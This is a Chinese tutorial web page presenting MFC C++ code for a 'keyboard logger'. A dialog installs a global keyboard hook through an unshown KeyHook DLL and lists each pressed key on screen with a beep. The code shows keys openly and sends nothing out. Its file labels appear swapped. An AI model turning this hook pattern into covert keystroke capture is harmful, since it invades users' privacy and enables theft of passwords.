歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> Linux編程 >> C/C++學習:鍵盤記錄程序代碼

C/C++學習:鍵盤記錄程序代碼

日期:2017/3/1 10:19:49   编辑:Linux編程

鍵盤記錄程序

主程序:

就是基於對話框的框架,加個個OnHookKey函數,

  1. long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //處理自定義消息
  2. {
  3. char szKey[80]={0};
  4. GetKeyNameText(lParam, szKey, 80);
  5. CString strItem;
  6. strItem.Format("按鍵:%s\r\n", szKey);
  7. CString strEdit;
  8. GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
  9. GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
  10. ::MessageBeep(MB_OK);
  11. return 0;
  12. }

在初始化時,調用DLL中的:

  1. SetKeyHook(TRUE, 0, m_hWnd)
在析構時,調用DLL中的:
  1. SetKeyHook(FALSE);
.cpp代碼
  1. #include <afxwin.h>
  2. #define HM_KEY WM_USER+100
  3. //CMyApp
  4. class CMyApp:public CWinApp
  5. {
  6. public:
  7. BOOL InitInstance();
  8. };
  9. //CMyDialog
  10. class CMainDialog:public CDialog
  11. {
  12. public:
  13. CMainDialog(CWnd* pParentWnd = NULL);
  14. protected:
  15. virtual BOOL OnInitDialog( );
  16. afx_msg void OnCancel();
  17. afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //處理自定義消息的聲明
  18. DECLARE_MESSAGE_MAP()
  19. };
.h代碼:
  1. #include "resource.h"
  2. #include "KeyHookApp.h"
  3. #include "KeyHook.h"
  4. #pragma comment(lib,"KeyHook.lib")
  5. CMyApp theApp;
  6. BOOL CMyApp::InitInstance()
  7. {
  8. CMainDialog dlg;
  9. m_pMainWnd = &dlg; //給m_pMainWnd 主窗口
  10. dlg.DoModal();
  11. return FALSE; //不進入消息循環
  12. }
  13. BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
  14. ON_MESSAGE(HM_KEY, OnHookKey) //自定義消息
  15. END_MESSAGE_MAP()
  16. //CMainDialog
  17. CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
  18. {
  19. }
  20. BOOL CMainDialog::OnInitDialog( )
  21. {
  22. CDialog::OnInitDialog();
  23. if (!SetKeyHook(TRUE, 0, m_hWnd))
  24. {
  25. MessageBox("安裝鉤子失敗");
  26. }
  27. return TRUE;
  28. }
  29. //處理關閉消息
  30. void CMainDialog::OnCancel()
  31. {
  32. OutputDebugString("oncancel");
  33. SetKeyHook(FALSE);
  34. CDialog::OnCancel();
  35. return;
  36. }
  37. long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //處理自定義消息
  38. {
  39. char szKey[80]={0};
  40. GetKeyNameText(lParam, szKey, 80);
  41. CString strItem;
  42. strItem.Format("按鍵:%s\r\n", szKey);
  43. CString strEdit;
  44. GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
  45. GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
  46. ::MessageBeep(MB_OK);
  47. return 0;
  48. }
Copyright © Linux教程網 All Rights Reserved